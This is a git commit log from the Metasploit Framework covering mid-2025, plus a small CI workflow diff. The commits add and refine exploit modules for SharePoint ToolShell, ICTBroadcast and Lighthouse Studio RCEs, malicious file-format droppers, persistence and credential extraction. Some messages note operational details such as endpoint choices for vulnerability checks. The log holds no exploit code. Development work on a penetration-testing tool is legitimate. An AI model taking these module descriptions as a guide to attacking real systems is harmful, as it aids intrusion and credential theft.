2025-08-06 14:24:28 -05:00
sfewer-r7 0a923a611d reword the language around our usage of CVE-2025-53770 to make it clear that this module is leveraging the authentication bypass for both CVE-2025-49706 and CVE-2025-53771, and the unsafe deserialization for CVE-2025-49704. 2025-08-06 15:33:57 +01:00
adfoster-r7 00ea22600c Merge pull request #20454 from adfoster-r7/fix-show-options-crash
Fix show options crash
2025-08-06 11:50:09 +01:00
adfoster-r7 c5e342d874 Fix show options crash 2025-08-06 10:26:56 +01:00
h00die-gr3y 70f2cbe055 simplified cleaning procedure 2025-08-06 08:22:06 +00:00
Brendan 2553fed202 Merge pull request #20438 from msutovsky-r7/fix/lib/chmod_in_compile
Fixes incorrect path parameter for `chmod` in `upload_and_compile`
2025-08-05 15:12:46 -05:00
cgranleese-r7 f8acc93fdd Merge pull request #20452 from adfoster-r7/update-download-versions
Update download versions
2025-08-05 17:41:40 +01:00
adfoster-r7 9a9028e93d Update download versions 2025-08-05 17:06:21 +01:00
jenkins-metasploit 74c10a4d4b automatic module_metadata_base.json update 2025-08-05 13:48:03 +00:00
msutovsky-r7 8914520139 Land #20418, adds auto selection feature for password crackers
Adds auto selection of cracker for password crackers
2025-08-05 15:39:50 +02:00
Spencer McIntyre 6f97dbe239 Merge pull request #20372 from cgranleese-r7/add-cache-validation-logic
Adds cache invalidation logic
2025-08-05 09:36:27 -04:00
bcoles d0f0b3532f Msf::Payload::Adapter::Fetch: Add lwp-request GET fetch adapter 2025-08-05 22:54:09 +10:00
cgranleese-r7 604fc95bc6 Moves checksum to top level of file cache 2025-08-05 11:40:20 +01:00
cgranleese-r7 aab4142068 Updates to only use local store dir 2025-08-05 11:39:18 +01:00
cgranleese-r7 e9941fd91f Adds cache invalidation logic 2025-08-05 11:39:18 +01:00
jenkins-metasploit 31b9dcdeb2 automatic module_metadata_base.json update 2025-08-05 07:39:11 +00:00
msutovsky-r7 c99702c8bf Land #20446, adds module for ICTBroadcast Unauthenticated RCE (CVE-2025-2611)
Add ICTBroadcast Unauthenticated Remote Code Execution (CVE-2025-2611)
2025-08-05 09:29:36 +02:00
Spencer McIntyre 26bf49a024 Merge pull request #20431 from Wopseeion/problem-fi
Fix NoMethodError in kerberos/get_ticket by properly decoding ASN.1 OctetString in certificate SAN parsing for ticket reuqest --> "#20427"
2025-08-04 18:12:05 -04:00
Tanush-Jain becdda1591 added fixed pkinit file 2025-08-04 17:51:36 -04:00
jenkins-metasploit cf92cbb3d8 automatic module_metadata_base.json update 2025-08-04 21:36:56 +00:00
Spencer McIntyre 30c32d2643 Merge pull request #20450 from dledda-r7/chore/bump-metasploit_payloads-mettle-1_0_45
Bump metasploit_payloads-mettle gem to 1.0.45
2025-08-04 17:28:14 -04:00
jacob.w.pham.mil 0744c70c72 Implement maintainer feedback removed by accident from prior push
- Update Twitter references to X in Contact.md and README.md
- Add YouTube channel to Contact.md
- Remove IRC reference from CONTRIBUTING.md as requested
- Address all maintainer suggestions from PR review
2025-08-04 14:50:58 -04:00
jacob.w.pham.mil c2da23ae1a Update contact email in Contact.md
Replace outdated caitlin_condon@rapid7.com with smcintyre@metasploit.com
as requested by maintainers in PR feedback.
2025-08-04 14:38:59 -04:00
Hakil c4a2189614 removed blank line as requested
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 19:29:25 +02:00
Hakil f691d81899 prefer john over hashcat for more compatibility
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 19:27:54 +02:00
Chocapikk 6ff04da954 Add LPE suggestions in documentation 2025-08-04 18:33:28 +02:00
Chocapikk a81884fb9e Update metadata 2025-08-04 17:53:29 +02:00
Chocapikk 7d744c2a45 Update documentation 2025-08-04 17:51:42 +02:00
Chocapikk 2c9053c45e Refactor fingerprint detection, cookie handling and per-cookie injection
- Centralize JS fingerprint checks in `check`
- Memoize `get_valid_cookies` correctly and reuse a single `cookie_jar`
- Update `inject_command` to test payload on each cookie separately
2025-08-04 17:49:34 +02:00
Valentin Lobstein 26099da7a2 Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:03:04 +02:00
Valentin Lobstein 46b3012cda Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:02:47 +02:00
Valentin Lobstein a6d86fbe59 Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:02:35 +02:00
Valentin Lobstein c8f756dd37 Update documentation/modules/exploit/linux/http/ictbroadcast_unauth_cookie.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:02:12 +02:00
dledda-r7 6d60db195b feat: bump metasploit_payloads-mettle gem to 1.0.45 2025-08-04 10:14:38 -04:00
adfoster-r7 a5b7c9859d Merge pull request #20448 from cgranleese-r7/bump-rex-powershell-and-rex-random-identifier
Bumps rex-powershell and rex-random_identifier gems
2025-08-04 14:55:16 +01:00
Diego Ledda 8985cd773d Update lib/msf/base/sessions/meterpreter_options/osx.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:59:20 +02:00
Diego Ledda 25e053804e Update lib/msf/base/sessions/meterpreter_options/php.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:59:09 +02:00
Diego Ledda ee05f88770 Update lib/msf/base/sessions/meterpreter_options/python.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:59:01 +02:00
Diego Ledda 56fc33f7f2 Update lib/msf/base/sessions/meterpreter_options/windows.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:58:50 +02:00
Diego Ledda d45193b7ac Update lib/msf/base/sessions/meterpreter_options/java.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:58:25 +02:00
Diego Ledda fa68bd8353 Update lib/msf/base/sessions/meterpreter_options/bsd.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:58:16 +02:00
Diego Ledda 2fac43c3ed Update lib/msf/base/sessions/meterpreter_options/apple_ios.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:57:59 +02:00
Diego Ledda 9e10d243b9 Update lib/msf/base/sessions/meterpreter_options/android.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:57:49 +02:00
Diego Ledda ef6e59dcc3 Update lib/msf/base/sessions/meterpreter_options/linux.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:57:40 +02:00
cgranleese-r7 02ff2ad000 Bumps rex-powershell and rex-random_identifier 2025-08-04 13:49:53 +01:00
dledda-r7 f18787e5c5 fix: addressing review comments 2025-08-04 08:35:23 -04:00
adfoster-r7 f7930a9977 Merge pull request #20444 from cgranleese-r7/adds-survey-banner-docs-site
Adds survey banner to the docs site
2025-08-04 12:20:01 +01:00
cgranleese-r7 5fe57c6804 Adds survey banner to the docs site 2025-08-04 12:19:22 +01:00
jenkins-metasploit 5dd2fef0a9 automatic module_metadata_base.json update 2025-08-04 09:57:20 +00:00
msutovsky-r7 5fd6184494 Land #20423, adds malicious XDG Desktop fileformat module
Add Malicious XDG Desktop File module
2025-08-04 11:44:02 +02:00
bcoles a7ab23d083 Add Malicious XDG Desktop File module 2025-08-04 19:23:02 +10:00
Diego Ledda da7ee9d9f8 Update modules/payloads/stages/php/meterpreter.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 11:19:57 +02:00
Chocapikk 50ef5edd90 Add Unauthenticated ICTBroadcast Remote Code Execution (CVE-2025-2611) 2025-08-02 19:46:14 +02:00
Hakil 3e47e4a08b Fixed "]}" -> "}]" 2025-08-02 14:18:28 +02:00
Spencer McIntyre 90b60c78ac Don't look up the local system SID 2025-08-01 17:37:29 -04:00
cgranleese-r7 4c94f9f94b Merge pull request #20443 from rapid7/revert-20435-adds-survey-banner-to-docs-site
Revert "Adds survey banner to the docs site"
2025-08-01 14:37:59 +01:00
adfoster-r7 8b4ea900cc Revert "Adds survey banner to the docs site" 2025-08-01 14:37:15 +01:00
msutovsky-r7 7d82ecb6b0 Land #20435, adds survey banner to the docs site
Adds survey banner to the docs site
2025-08-01 15:16:15 +02:00
jenkins-metasploit 480a81dddb automatic module_metadata_base.json update 2025-08-01 11:54:03 +00:00
Martin Sutovsky cb615899ee Updates specs 2025-08-01 13:51:25 +02:00
msutovsky-r7 63cd2cb93a Land #20437, fixes variable initialization in auxiliary/dos/http/apache_range_dos
Fixes variable initialization in auxiliary/dos/http/apache_range_dos
2025-08-01 13:45:39 +02:00
Martin Sutovsky 1c14a9756a Creates executable_path, uses that in chmod instead of path variable 2025-08-01 12:52:58 +02:00
Desiree05 8d3a35f332 Fixing issue #20436
The module did not initialize the variable uri
2025-08-01 10:48:54 +01:00
cgranleese-r7 53e2d138e8 Adds survey banner to the docs site 2025-08-01 10:31:31 +01:00
Martin Sutovsky ce1d0d1c27 Removes redundant code, unifies fail_with calling, adds advanced option for wait time 2025-08-01 10:51:52 +02:00
msutovsky-r7 8130316de9 Removes unnecessary new line
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-08-01 10:02:46 +02:00
Martin Sutovsky c9e0c7171b Adds cleanup method 2025-08-01 10:01:50 +02:00
Martin Sutovsky 744188fb88 Updates docs 2025-08-01 09:40:08 +02:00
Martin Sutovsky 2328b40df7 Unifies parenthesis in fail_with calling, whitespaces fixes, changing CheckCode::Unknown to CheckCode::Detected 2025-08-01 09:34:47 +02:00
adfoster-r7 569387c470 Merge pull request #20432 from cgranleese-r7/fixes-exploit-uuid-sessions-job-correlation
Fixes RPC `exploit_uuid` correlation for jobs and sessions
2025-07-31 16:59:49 +01:00
Martin Sutovsky d081d83aa6 Adds additional functionality for Pretalx 2025-07-31 14:53:49 +02:00
jenkins-metasploit 96532bd1e7 automatic module_metadata_base.json update 2025-07-31 11:09:18 +00:00
dwelch-r7 540e8b91d0 Merge pull request #20433 from msutovsky-r7/module/fix/disclosure_date
Fixes disclosure date in exploit/linux/http/pandora_fms_auth_netflow_rce.rb
2025-07-31 12:01:01 +01:00
Martin Sutovsky d2175c372f Fixes disclosure date 2025-07-31 12:58:28 +02:00
Martin Sutovsky 0d556253d3 Fix 2025-07-31 12:57:14 +02:00
cgranleese-r7 2cab34736c Fixes RPC exploit_uuid correlation for jobs and sessions 2025-07-31 09:41:32 +01:00
Metasploit e34397b8e5 Bump version of framework to 6.4.79 2025-07-31 03:33:24 -05:00
jenkins-metasploit 854a5bc01c automatic module_metadata_base.json update 2025-07-31 05:53:30 +00:00
msutovsky-r7 333b5278ac Land #20428, fixes available payload space in exploits/windows/misc/achat_bof
Fix achat_bof by increasing the available payload space
2025-07-31 07:42:32 +02:00
jacob.w.pham.mil 9013316dbd Update communication channels in documentation
- Add GitHub Discussions and Slack as primary support channels
- Update README.md with current communication options
- Update Contact.md with organized channel hierarchy
- Update CONTRIBUTING.md to include GitHub Discussions
- Maintain references to existing IRC and mailing list channels

Addresses #20234
2025-07-30 22:32:53 -04:00
jenkins-metasploit 53c3396821 automatic module_metadata_base.json update 2025-07-30 22:45:10 +00:00
Spencer McIntyre 8bbfaac13c Merge pull request #20189 from jheysel-r7/feat/mod/esc9-esc10-exploit
Add Exploit Support for ESC9, ESC10 & ESC16
2025-07-30 18:36:59 -04:00
Jack Heysel ff724d0b5c Deregister SMBUser 2025-07-30 15:28:56 -07:00
jenkins-metasploit f766f49d6a automatic module_metadata_base.json update 2025-07-30 22:11:51 +00:00
Jack Heysel de15d1e449 Minor doc update 2025-07-30 15:08:14 -07:00
Jack Heysel e88883c82b ESC9, ESC10 ESC16 exploit support 2025-07-30 15:08:14 -07:00
Spencer McIntyre 84e2e6be69 Merge pull request #20149 from jheysel-r7/esc9_esc10_cert_finder_update
ESC9, ESC10 and ESC16 detection for ldap_esc_vulnerable_cert_finder
2025-07-30 18:03:14 -04:00
h00die-gr3y 3d0cfd0dfc update module + documentation based on review comments 2025-07-30 20:24:56 +00:00
Spencer McIntyre 3fb2477fbf Increase payload space 2025-07-30 16:13:19 -04:00
Jack Heysel 13df676863 Update validate method fix failed test 2025-07-30 12:13:33 -07:00
Jack Heysel a1c95e64ba Fixed unnecesary merge conflict additions 2025-07-30 11:59:51 -07:00
Jack Heysel 8179de6cea ESC9 ESC10 and ESC16 detection 2025-07-30 11:46:57 -07:00
Martin Sutovsky 38096c6988 Adding Pretalx functionality, expanding auxiliary module 2025-07-30 15:42:34 +02:00
Hakil 1161954677 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:11:06 +02:00
Hakil 18b611f199 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:10:49 +02:00
Hakil dc787b1947 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:10:31 +02:00
Hakil e44f54fda0 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:10:03 +02:00
Hakil 2a70b78316 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:09:45 +02:00
Hakil 6ccc49523c correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:09:13 +02:00
h00die-gr3y 4b52708357 update module + documentation based on review comments 2025-07-30 11:39:20 +00:00
Hakil 6c9f8ef8c9 Merge pull request #1 from msutovsky-r7/collab/feat/auto_cracker_selection
Suggests additional changes for PR
2025-07-30 11:55:14 +02:00
adfoster-r7 1361e91fa1 Merge pull request #20426 from adfoster-r7/update-multiple-dependencies
Update multiple dependencies
2025-07-30 10:28:54 +01:00
adfoster-r7 5fc5c6691e Update multiple dependencies 2025-07-30 10:11:30 +01:00
Martin Sutovsky 16a5fa2881 Fixing typos 2025-07-30 07:23:50 +02:00
Martin Sutovsky 96ba71b47f Removes incorrect comment 2025-07-30 07:11:35 +02:00
Martin Sutovsky d20494d47f Removes puts 2025-07-30 07:10:22 +02:00
gardnerapp a0d03c0638 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-29 13:20:20 -04:00
gardnerapp 92d246da13 Update documentation/modules/exploit/multi/local/periodic_script_persistence.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-29 13:20:00 -04:00
gardnerapp a413e78689 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-29 13:19:28 -04:00
gardnerapp d87787df69 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-29 13:18:48 -04:00
Martin Sutovsky d3f6faa99d Adjust cracker modules 2025-07-29 17:07:03 +02:00
Martin Sutovsky cf243b5d5c Adds auto option support, updates crack_database.rb accordingly 2025-07-29 15:44:48 +02:00
Hakil f454954b0a requested change resolved, PR #20418 2025-07-29 14:22:02 +02:00
Hakil 9c03306100 requested change resolved, PR #20418 2025-07-29 14:21:46 +02:00
Hakil c38cc4444f Update crack_osx.rb 2025-07-29 14:21:20 +02:00
Hakil 99ac3691f6 requested change resolved, PR #20418 2025-07-29 14:21:00 +02:00
Hakil 424e4fbd48 Update crack_databases.rb 2025-07-29 14:20:34 +02:00
Hakil 87d7decdca requested change resolved, PR #20418 2025-07-29 14:20:09 +02:00
Hakil 4b4e7cc58b requested change resolved, PR #20418 2025-07-29 14:02:30 +02:00
jenkins-metasploit 552a791e37 automatic module_metadata_base.json update 2025-07-29 10:35:15 +00:00
msutovsky-r7 cb381ad542 Land #20421, adds more reliable check in get_nonce function for auxiliary/scanner/http/wp_ultimate_member_sorting_sqli
Fix `get_nonce` in `auxiliary/scanner/http/wp_ultimate_member_sorting_sqli`
2025-07-29 12:24:05 +02:00
Simon Janusz 0a531b48c5 Merge pull request #20422 from adfoster-r7/update-jsonrpc-dependencies
Update jsonrpc dependencies
2025-07-29 11:19:37 +01:00
Valentin Lobstein 541e8d6191 Update modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-29 11:36:48 +02:00
adfoster-r7 77f6110842 Update jsonrpc dependencies 2025-07-29 10:17:36 +01:00
Chocapikk e095c793c7 Fix get_nonce in auxiliary/scanner/http/wp_ultimate_member_sorting_sqli 2025-07-29 07:59:06 +02:00
Metasploit c2971d5307 Bump version of framework to 6.4.78 2025-07-28 10:22:00 -05:00
jenkins-metasploit 85aca3c380 automatic module_metadata_base.json update 2025-07-28 15:07:55 +00:00
adfoster-r7 eb8e7cec27 Merge pull request #20420 from dwelch-r7/rails-7.2-upgrade
Bump rails to 7.2
2025-07-28 15:59:31 +01:00
jenkins-metasploit e40da3a887 automatic module_metadata_base.json update 2025-07-28 12:08:06 +00:00
msutovsky-r7 f4622d802e Land #20406, adds malicious Windows Script Host VBScript fileformat module
Add Malicious Windows Script Host VBScript (.vbs) File module
2025-07-28 13:58:07 +02:00
msutovsky-r7 12340ef6b5 Land #20398, adds malicious Windows Script Host JScript fileformat module
Add Malicious Windows Script Host JScript (.js) File module
2025-07-28 13:51:26 +02:00
Dean Welch 0ce1617288 Bump rails to 7.2 2025-07-28 12:29:58 +01:00
Martin Sutovsky b276c50115 Making Pretalx functionality more robust 2025-07-28 10:53:24 +02:00
h00die dcde8d1580 adjust spaces and review comments for persistence lib 2025-07-27 19:07:39 -04:00
h00die 4ec8a0e356 fix linux user spec 2025-07-27 18:50:23 -04:00
adfoster-r7 5162a8d3b3 Merge pull request #20417 from fishBone000/typo
fix: Fix typo in reflective_pe_loader.rb
2025-07-27 18:02:04 +01:00
Martin Sutovsky d26589796a Updates docs, code refactor 2025-07-27 12:42:11 +02:00
Hakil ecfdec9678 Fix issue #20396 2025-07-26 18:36:14 +02:00
Hakil d48419160b Fix issue #20396 2025-07-26 18:35:47 +02:00
Hakil 06c17a6e77 Update crack_webapps.rb 2025-07-26 18:35:21 +02:00
Hakil d88c4bde88 Fix issue #20396 2025-07-26 18:34:54 +02:00
Hakil 5aee8d5d42 Fix issue #20396 2025-07-26 18:34:12 +02:00
Hakil bd3ce5f20e Fix issue #20396 2025-07-26 18:33:20 +02:00
Hakil 56f138c4a1 Fix issue #20396 2025-07-26 18:31:43 +02:00
Hakil 7450d728c1 Fix issue #20396 2025-07-26 18:26:29 +02:00
fishBone000 64905f866e fix: Fix typo in reflective_pe_loader.rb
Fix strange typo that makes the file non-ASCII
2025-07-26 15:55:03 +00:00
Vognik 8024900171 fix tests 2025-07-26 03:15:00 +04:00
Martin Sutovsky 4844a29a1f Documentation base 2025-07-25 20:19:47 +02:00
Martin Sutovsky 1a668a8964 Adding checks 2025-07-25 16:57:11 +02:00
sfewer-r7 3237151512 add in the documentation 2025-07-25 14:40:12 +01:00
Martin Sutovsky fa41ed5876 Code refactoring 2025-07-25 15:33:29 +02:00
Martin Sutovsky edfa84ed42 Uses Rex::MIME::Message instead of manual form-data 2025-07-25 14:24:42 +02:00
sfewer-r7 228a066521 add a reference to the Kaspersky analysis which covers all 4 CVEs 2025-07-25 12:26:55 +01:00
Martin Sutovsky 73aa43e069 Adds Rex::MIME::Message instead of manual form-data generating 2025-07-25 13:02:44 +02:00
sfewer-r7 36fff14466 fix a comment typo 2025-07-25 11:04:18 +01:00
sfewer-r7 f16f7bf2ad add in reference to teh LeakIX blog, which shows CVE-2025-53771 2025-07-25 11:02:55 +01:00
sfewer-r7 ae95d3d4e8 add a comment to clarify what CVE-2025-53771 is 2025-07-25 11:02:08 +01:00
sfewer-r7 8df7f64e79 add some comments to clarify what CVE-2025-49704 is 2025-07-25 11:01:41 +01:00
sfewer-r7 6d9d9a70d4 add some comments to clarify what CVE-2025-49706 is 2025-07-25 11:01:22 +01:00
jenkins-metasploit 86d5d52838 automatic module_metadata_base.json update 2025-07-25 08:55:33 +00:00
msutovsky-r7 1fb76b1776 Land #20408, fixes arguments passing to redis_command function in auxiliary/scanner/redis/redis_server
Fix modules\auxiliary\scanner\redis\redis_server
2025-07-25 10:47:14 +02:00
bcoles cbc03eaeeb Add Malicious Windows Script Host VBScript (.vbs) File module 2025-07-25 18:46:47 +10:00
bcoles 44c61a7e4d Add Malicious Windows Script Host JScript (.js) File module 2025-07-25 18:43:33 +10:00
Maksim Rogov 9696cc57db Merge branch 'rapid7:master' into CVE-2025-34300 2025-07-25 11:02:03 +04:00
Vognik 82eadede83 Code Review Edits from @sjanusz-r7 2025-07-25 05:17:48 +04:00
jenkins-metasploit fcff88b644 automatic module_metadata_base.json update 2025-07-24 21:58:39 +00:00
jheysel-r7 392f87dee2 Merge pull request #20401 from zeroSteiner/feat/mod/ldap/gmsa-secrets
Add gMSA Secret Extraction From LDAP
2025-07-24 14:50:24 -07:00
Metasploit 679c74f145 Bump version of framework to 6.4.77 2025-07-24 09:38:58 -05:00
laptop e4686fe129 deleted the spaces in EOF 2025-07-24 19:23:44 +08:00
sfewer-r7 a81710486e add in a reference to the new technical analysis from the origional finder 2025-07-24 12:15:24 +01:00
Martin Sutovsky 54c86cfc10 Addressing comments 2025-07-24 12:19:47 +02:00
Maksim Rogov 6e5d474b21 Apply suggestion from @jheysel-r7 in Docs
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-07-24 06:23:01 +03:00
Vognik 38b0bd15e1 Code Review Edits 2025-07-24 07:19:25 +04:00
Stephen Fewer 899e275155 Make the double quotes optional, reports of Server 2016 not using these, but Server 2019 is. Thanks @w0rk3r for the bug report and fix.
Co-authored-by: Jonhnathan <26856693+w0rk3r@users.noreply.github.com>
2025-07-23 23:51:42 +01:00
sfewer-r7 b8cf458706 the check routine was getting the /_layouts/15/error.aspx page, this will not be accessable unless Forms Based Authentication (FBA) is enabled on the site. A better choice is /_layouts/15/start.aspx as this is accessible regardless of FBA being enabled. Thanks @alexey-at-work-bc for identifying this and sugesting a fix. 2025-07-23 23:03:43 +01:00
sfewer-r7 7838e06f4f reimplement the gadget chain using the Metasploit Msf::Util::DotNetDeserialization routines 2025-07-23 17:36:56 +01:00
bwatters-r7 dcfa448cf8 Remove now unused timeout 2025-07-23 10:40:24 -05:00
bwatters-r7 07692ff241 Remove errant write_log call and swap to the all-in-one psh_exec rather than execute_script 2025-07-23 09:40:35 -05:00
sfewer-r7 d2a1f7bae9 add in exploit for CVE-2025-53770 and CVE-2025-53771, Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell) 2025-07-23 12:40:14 +01:00
Vognik e93755adc6 Added WritableDir Option 2025-07-23 11:59:48 +04:00
laptop 9c1b7e94eb –fix(redis_server): Correctly parse multi-word Redis commands 2025-07-23 11:50:34 +08:00
Martin Sutovsky 75f6e6a748 Refactors code, adds description, fixes CVE 2025-07-22 16:24:35 +02:00
Martin Sutovsky 4708a25dfa Module init 2025-07-22 11:11:19 +02:00
Vognik d62ef448f1 Code Review Edits 2025-07-22 04:40:14 +04:00
Vognik 1c1b574b81 Removed Debug Print 2025-07-21 21:37:52 +04:00
Vognik d57a36413d Fix Tests 2025-07-21 21:34:41 +04:00
Vognik 6276b27dfc Improved Exploit Stability on Windows 2025-07-21 21:34:01 +04:00
Martin Sutovsky ed5c13330f Module init 2025-07-21 12:41:38 +02:00
Maksim Rogov 85e97aaaf5 Fix STUDYNAME empty check 2025-07-21 13:14:19 +03:00
Vognik e90396a15f Execute Method Refactoring 2025-07-21 13:59:43 +04:00
Vognik c06a7c477b Check Method Refactoring 2025-07-21 13:06:51 +04:00
Vognik 45a6176a9c Removed Limits 2025-07-21 11:03:24 +04:00
Vognik 6bf385e17a Removed dublicate logging bug 2025-07-21 03:20:34 +04:00
Vognik a836c9bc5e Fixed CVE Format 2025-07-21 03:17:57 +04:00
Vognik 75e1158457 Fixed docs formatting 2025-07-21 03:16:40 +04:00
h00die-gr3y 58704e9eab init module + documentation 2025-07-20 19:06:01 +00:00
Vognik e7667d406a Add Lighthouse Studio unauthenticated RCE (CVE-2025-34300) 2025-07-20 15:23:38 +04:00
Valentin Lobstein e42af1843b Lint 2025-07-19 03:22:12 +01:00
Valentin Lobstein 2bb2bbc5bd Update wp_depicter_sqli_cve_2025_2011.rb 2025-07-19 04:07:22 +02:00
Spencer McIntyre 54c5cdaf61 Update the acceptance tests 2025-07-18 17:29:35 -04:00
Spencer McIntyre 714f667c0f Finish adding gMSA secret dumping 2025-07-18 17:10:35 -04:00
Spencer McIntyre 68a3f5624c Define empty NT and LM hash constants 2025-07-18 16:50:54 -04:00
Spencer McIntyre 8928362581 Support formatting passwords without the database 2025-07-18 16:50:33 -04:00
Spencer McIntyre 82610aec24 Initial commit of extracting gMSA secrets from LDAP 2025-07-18 10:59:15 -04:00
h00die-gr3y abbcdda694 update based on adfoster-r7 comments 2025-07-18 07:22:01 +00:00
Umut 708dcaf36e Delete unnecessary comments 2025-07-17 15:28:20 +03:00
Umut 90d15cbe61 finalize the payload
add CachedSize & fix the fifth arg problem & run rubocop
2025-07-17 11:39:44 +03:00
Chocapikk ac62c42be8 chore(wp_depicter): remove unused Actions block 2025-07-16 22:20:31 +02:00
h00die-gr3y 7a9cd79170 small update on the documentation 2025-07-16 09:32:47 +00:00
h00die-gr3y 639315452c added attackerkb reference + documenttaion 2025-07-16 09:29:14 +00:00
Umut 0344591863 fix 5th arg for URLDownloadToFileA 2025-07-16 11:35:35 +03:00
h00die 71d0d037b5 add spec for linux user lib 2025-07-15 20:38:32 +00:00
h00die 83a6e82603 Update lib/msf/core/post/linux/user.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-07-15 16:29:22 -04:00
h00die-gr3y f6e0c43ed9 init module 2025-07-15 19:06:00 +00:00
Umut a412070a12 Create download_exec.rb 2025-07-15 16:50:59 +03:00
Chocapikk c45481fa58 fix: guard get_sqli_object JSON extraction to avoid NoMethodError 2025-07-12 15:12:02 +02:00
Chocapikk 9aef758c31 fix: abort run when get_sqli_object returns error constant 2025-07-12 15:09:05 +02:00
Chocapikk 869ed8d818 fix: replace return with next in get_sqli_object to prevent LocalJumpError 2025-07-12 15:00:57 +02:00
h00die f9a804d649 persistence libraries 2025-07-11 17:35:06 -04:00
Corey 0f7aafa48e Add session platform, apply Rubocop changes 2025-07-10 14:09:44 -04:00
Corey 0f0ca54e6c Remove get_python method 2025-07-10 11:57:06 -04:00
Corey 2351a6a9bc Minor changes to options, add documentation 2025-07-08 13:30:22 -04:00
Corey 8a8e3a3047 Rubocop changes 2025-07-08 13:01:09 -04:00
Corey c9d41be766 Add authors, print cleanup, rename vars 2025-07-08 13:00:15 -04:00
gardnerapp d694c27119 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-08 10:54:08 -04:00
gardnerapp d2c7ac8d51 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-08 10:53:47 -04:00
gardnerapp 52acc15a51 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-08 10:53:28 -04:00
gardnerapp b3e16e9c47 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-08 10:52:58 -04:00
Corey e465720a3c Rubocop changes 2025-07-01 14:36:20 -04:00
Corey a66d60bf76 Move module to multi, add get_python method 2025-07-01 14:34:51 -04:00
Corey a5e30153e8 Add default arch_cmd target 2025-06-06 12:06:17 -04:00
dledda-r7 5e3e975b7d fix: renaming Osx to OSX for autoload support 2025-06-02 09:22:46 -04:00
dledda-r7 c4ca4d6999 fix: re-include OSX specific option 2025-06-02 08:14:59 -04:00
dledda-r7 70bafdfcd8 fix: delete of meterpreter_options.rb 2025-06-02 08:07:14 -04:00
dledda-r7 e4bc2a6528 fix: changed MeterpreterOptions to be platform-specific in pivot 2025-06-02 08:07:14 -04:00
dledda-r7 dd23be9695 fix: modified meterpreter_reverse template for platform-specific MeterpreterOptions 2025-06-02 08:07:13 -04:00
dledda-r7 e44043b88a fix: restored deleted comments 2025-06-02 08:07:13 -04:00
dledda-r7 a7f4da5431 feat: split platform-specific meterpreter options on different modules, adding AutoLoadExtensions option (AppleIos,Php,Python,Java,Osx,Android) 2025-06-02 08:07:06 -04:00
dledda-r7 44617cbe37 feat: split platform-specific meterpreter options on different modules, adding AutoLoadExtensions option (Windows, Linux) 2025-06-02 08:06:05 -04:00
Corey aa99015403 Rubocop and review changes 2025-04-22 13:36:59 -04:00
Corey f991843b81 Remove file from accidental commit 2025-04-20 15:56:01 -04:00
Corey c08790c837 add module 2025-04-20 15:53:59 -04:00
Corey e61b83912c Fix initialize, add cleanup script, make perioidc script executable 2025-04-20 15:53:59 -04:00
Corey 3fee2b6684 Add writing payload and periodic script 2025-04-20 15:53:59 -04:00
Corey d5556efab3 Start basic module scaffold 2025-04-20 15:53:59 -04:00
1346 changed files with 44006 additions and 10558 deletions
+1 -1
View File
@@ -38,7 +38,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '3.0'
- '3.3'
name: Ruby ${{ matrix.ruby }}
steps:
@@ -44,6 +44,7 @@ on:
- 'Gemfile.lock'
- 'data/templates/**'
- 'modules/payloads/**'
- 'lib/msf/base/sessions/**'
- 'lib/msf/core/payload/**'
- 'lib/msf/core/**'
- 'test/modules/**'
